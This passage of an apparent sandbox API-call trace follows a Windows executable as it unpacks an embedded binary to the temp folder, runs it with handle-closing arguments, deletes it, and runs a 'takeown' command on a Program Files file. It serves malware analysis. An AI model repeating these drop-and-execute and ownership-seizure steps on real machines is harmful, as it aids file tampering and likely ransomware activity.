lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0099.320] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ£\x10ÿCäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0099.320] GetLastError () returned 0x0 [0099.320] SetLastError (dwErrCode=0x0) [0099.320] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0099.320] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0099.320] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0099.320] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0099.320] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ£\x10ÿCäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0099.320] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8f8240 [0099.320] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0099.321] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40f584) returned 0x0 [0099.321] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8f8240) returned 0x80 [0099.321] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0099.321] GetProcAddress (hModule=0x76e10000, lpProcName="IsWow64Process") returned 0x76e2195e [0099.321] GetCurrentProcess () returned 0xffffffff [0099.321] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ff34 | out: Wow64Process=0x18ff34) returned 1 [0099.321] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fd28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0099.321] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x18fb20, nSize=0x104 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0099.321] FindResourceW (hModule=0x0, lpName="RCHANDLE64", lpType="BINRES") returned 0x476060 [0099.321] LoadResource (hModule=0x0, hResInfo=0x476060) returned 0x43c648 [0099.321] SizeofResource (hModule=0x0, hResInfo=0x476060) returned 0x37490 [0099.321] LockResource (hResData=0x43c648) returned 0x43c648 [0099.321] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x18) returned 0x8f82c8 [0099.332] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x18f95c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x90 [0099.333] GetFileType (hFile=0x90) returned 0x1 [0099.333] WriteFile (in: hFile=0x90, lpBuffer=0x43c648*, nNumberOfBytesToWrite=0x37000, lpNumberOfBytesWritten=0x18df04, lpOverlapped=0x0 | out: lpBuffer=0x43c648*, lpNumberOfBytesWritten=0x18df04*=0x37000, lpOverlapped=0x0) returned 1 [0099.337] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x1000) returned 0x8f9820 [0099.338] WriteFile (in: hFile=0x90, lpBuffer=0x8f9820*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x18df00, lpOverlapped=0x0 | out: lpBuffer=0x8f9820*, lpNumberOfBytesWritten=0x18df00*=0x490, lpOverlapped=0x0) returned 1 [0099.338] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8f9820 | out: hHeap=0x8e0000) returned 1 [0099.338] CloseHandle (hObject=0x90) returned 1 [0099.338] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner" [0099.338] CreateProcessW (in: lpApplicationName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe", lpCommandLine="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18facc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fb10 | out: lpCommandLine="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner", lpProcessInformation=0x18fb10*(hProcess=0x94, hThread=0x90, dwProcessId=0xe00, dwThreadId=0xe04)) returned 1 [0099.369] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0xffffffff) returned 0x0 [0100.393] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe")) returned 1 [0100.394] CloseHandle (hObject=0x94) returned 1 [0100.394] CloseHandle (hObject=0x90) returned 1 [0100.394] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8f7810 | out: hHeap=0x8e0000) returned 1 [0100.395] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fedc | out: phModule=0x18fedc) returned 0 [0100.395] ExitProcess (uExitCode=0x0) [0100.395] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8f60c8 | out: hHeap=0x8e0000) returned 1 Process: id = "180" image_name = "takeown.exe" filename = "c:\\windows\\syswow64\\takeown.exe" page_root = "0x7dfb000" os_pid = "0xde8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "168" os_parent_pid = "0xd64" cmd_line = "takeown /F \"C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 746 os_tid = 0xdec Thread: id = 750 os_tid = 0xdfc Process: id = "181" image_name = "bv6nck8c64.exe" filename = "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe" page_root = "0x216f000" os_pid = "0xe00" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "179" os_parent_pid = "0xde0" cmd_line = "bv6ncK8c.exe -accepteula -c -y -p handles -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 751 os_tid = 0xe04 [0099.991] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12ff38 | out: lpSystemTimeAsFileTime=0x12ff38*(dwLowDateTime=0xdf11a520, dwHighDateTime=0x1d5d06a)) [0099.991] GetCurrentThreadId () returned 0xe04 [0099.991] GetCurrentProcessId () returned 0xe00 [0099.991] QueryPerformanceCounter (in: lpPerformanceCount=0x12ff40 | out: lpPerformanceCount=0x12ff40*=24196431317) returned 1 [0100.013] GetProcessHeap () returned 0x320000 [0100.013] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0100.013] GetProcAddress (hModule=0x76f20000, lpProcName="FlsAlloc") returned 0x76f37190 [0100.013] GetProcAddress (hModule=0x76f20000, lpProcName="FlsFree") returned 0x76f315b0 [0100.013] GetProcAddress (hModule=0x76f20000, lpProcName="FlsGetValue") returned 0x76f43520 [0100.013] GetProcAddress (hModule=0x76f20000, lpProcName="FlsSetValue") returned 0x76f3bd90 [0100.013] GetProcAddress (hModule=0x76f20000, lpProcName="InitializeCriticalSectionEx") returned 0x76f379b0 [0100.013] GetProcAddress (hModule=0x76f20000, lpProcName="CreateEventExW") returned 0x76f6c590 [0100.013] GetProcAddress (hModule=0x76f20000, lpProcName="CreateSemaphoreExW") returned 0x76f6c4c0 [0100.013] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadStackGuarantee") returned 0x76f28050 [0100.013] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThreadpoolTimer") returned 0x76f28820 [0100.014] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadpoolTimer") returned 0x7715b2f0 [0100.014] GetProcAddress (hModule=0x76f20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7714d8c0 [0100.014] GetProcAddress (hModule=0x76f20000, lpProcName="CloseThreadpoolTimer") returned 0x7714d620 [0100.014] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThreadpoolWait") returned 0x76f6ba80 [0100.014] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadpoolWait") returned 0x7715e170 [0100.014] GetProcAddress (hModule=0x76f20000, lpProcName="CloseThreadpoolWait") returned 0x7714c540 [0100.014] GetProcAddress (hModule=0x76f20000, lpProcName="FlushProcessWriteBuffers") returned 0x77191f80 [0100.014] GetProcAddress (hModule=0x76f20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720ec60 [0100.014] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentProcessorNumber") returned 0x77190040 [0100.014] GetProcAddress (hModule=0x76f20000, lpProcName="GetLogicalProcessorInformation") returned 0x76f6b820 [0100.014] GetProcAddress (hModule=0x76f20000, lpProcName="CreateSymbolicLinkW") returned 0x76f95ad0 [0100.014] GetProcAddress (hModule=0x76f20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0100.014] GetProcAddress (hModule=0x76f20000, lpProcName="EnumSystemLocalesEx") returned 0x76f6c3d0 [0100.014] GetProcAddress (hModule=0x76f20000, lpProcName="CompareStringEx") returned 0x76f6b980 [0100.014] GetProcAddress (hModule=0x76f20000, lpProcName="GetDateFormatEx") returned 0x76fb0920 [0100.014] GetProcAddress (hModule=0x76f20000, lpProcName="GetLocaleInfoEx") returned 0x76f23c10 [0100.014] GetProcAddress (hModule=0x76f20000, lpProcName="GetTimeFormatEx") returned 0x76fad4e0 [0100.015] GetProcAddress (hModule=0x76f20000, lpProcName="GetUserDefaultLocaleName") returned 0x76f6b790 [0100.015] GetProcAddress (hModule=0x76f20000, lpProcName="IsValidLocaleName") returned 0x76f6b770 [0100.015] GetProcAddress (hModule=0x76f20000, lpProcName="LCMapStringEx") returned 0x76f6b710 [0100.015] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentPackageId") returned 0x0 [0100.015] GetProcAddress (hModule=0x76f20000, lpProcName="GetTickCount64") returned 0x76f29450 [0100.015] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0100.015] GetProcAddress (hModule=0x76f20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0100.015] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x478) returned 0x33f050 [0100.015] GetCurrentThreadId () returned 0xe04 [0100.015] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x0, Size=0x28) returned 0x335ed0 [0100.015] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0xb00) returned 0x33f4d0 [0100.016] GetStartupInfoW (in: lpStartupInfo=0x12fe90 | out: lpStartupInfo=0x12fe90*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x14000c2d0, hStdError=0x33f050)) [0100.016] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0100.016] GetFileType (hFile=0x3) returned 0x2 [0100.016] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0100.016] GetFileType (hFile=0x7) returned 0x2 [0100.016] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0100.016] GetFileType (hFile=0xb) returned 0x2 [0100.017] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner" [0100.017] GetEnvironmentStringsW () returned 0x33ffe0* [0100.017] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x0, Size=0xb36) returned 0x340b20 [0100.017] FreeEnvironmentStringsW (penv=0x33ffe0) returned 1 [0100.017] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x14002c980, nSize=0x104 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe")) returned 0x33 [0100.017] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x0, Size=0xa8) returned 0x341660 [0100.017] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x138) returned 0x341710 [0100.017] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x3e) returned 0x336510 [0100.017] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x6c) returned 0x341850 [0100.017] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x62) returned 0x3418d0 [0100.017] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x78) returned 0x341940 [0100.017] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x62) returned 0x3419c0 [0100.017] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x2e) returned 0x33de00 [0100.017] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x48) returned 0x336560 [0100.017] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x28) returned 0x335f00 [0100.017] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x28) returned 0x335f30 [0100.017] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x1a) returned 0x335f60 [0100.017] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x4a) returned 0x341a30 [0100.017] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x72) returned 0x341a90 [0100.017] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x30) returned 0x33de40 [0100.017] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x2e) returned 0x33de80 [0100.017] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x1c) returned 0x335f90 [0100.017] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0xd2) returned 0x341b10 [0100.017] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x7c) returned 0x341bf0 [0100.017] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x3a) returned 0x3365b0 [0100.017] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x90) returned 0x341c80 [0100.017] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x24) returned 0x335fc0 [0100.017] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x30) returned 0x33dec0 [0100.017] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x36) returned 0x33df00 [0100.018] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x3c) returned 0x336600 [0100.018] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x52) returned 0x341d20 [0100.018] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x3c) returned 0x336650 [0100.018] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x18) returned 0x341d80 [0100.018] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x82) returned 0x341da0 [0100.018] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x2e) returned 0x33df40 [0100.018] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x1e) returned 0x335ff0 [0100.018] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x2c) returned 0x33df80 [0100.018] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x54) returned 0x341e30 [0100.018] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x52) returned 0x341e90 [0100.018] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x2a) returned 0x33dfc0 [0100.018] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x3c) returned 0x3366a0 [0100.018] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x54) returned 0x341ef0 [0100.018] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x24) returned 0x336020 [0100.018] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x30) returned 0x33e000 [0100.018] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x8c) returned 0x33ffe0 [0100.018] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x340b20 | out: hHeap=0x320000) returned 1 [0100.018] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x1000) returned 0x340080 [0100.018] GetLastError () returned 0x0 [0100.018] SetLastError (dwErrCode=0x0) [0100.018] GetLastError () returned 0x0 [0100.018] SetLastError (dwErrCode=0x0) [0100.018] GetLastError () returned 0x0 [0100.018] SetLastError (dwErrCode=0x0) [0100.018] GetACP () returned 0x4e4 [0100.018] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x0, Size=0x228) returned 0x341090 [0100.019] GetLastError () returned 0x0 [0100.019] SetLastError 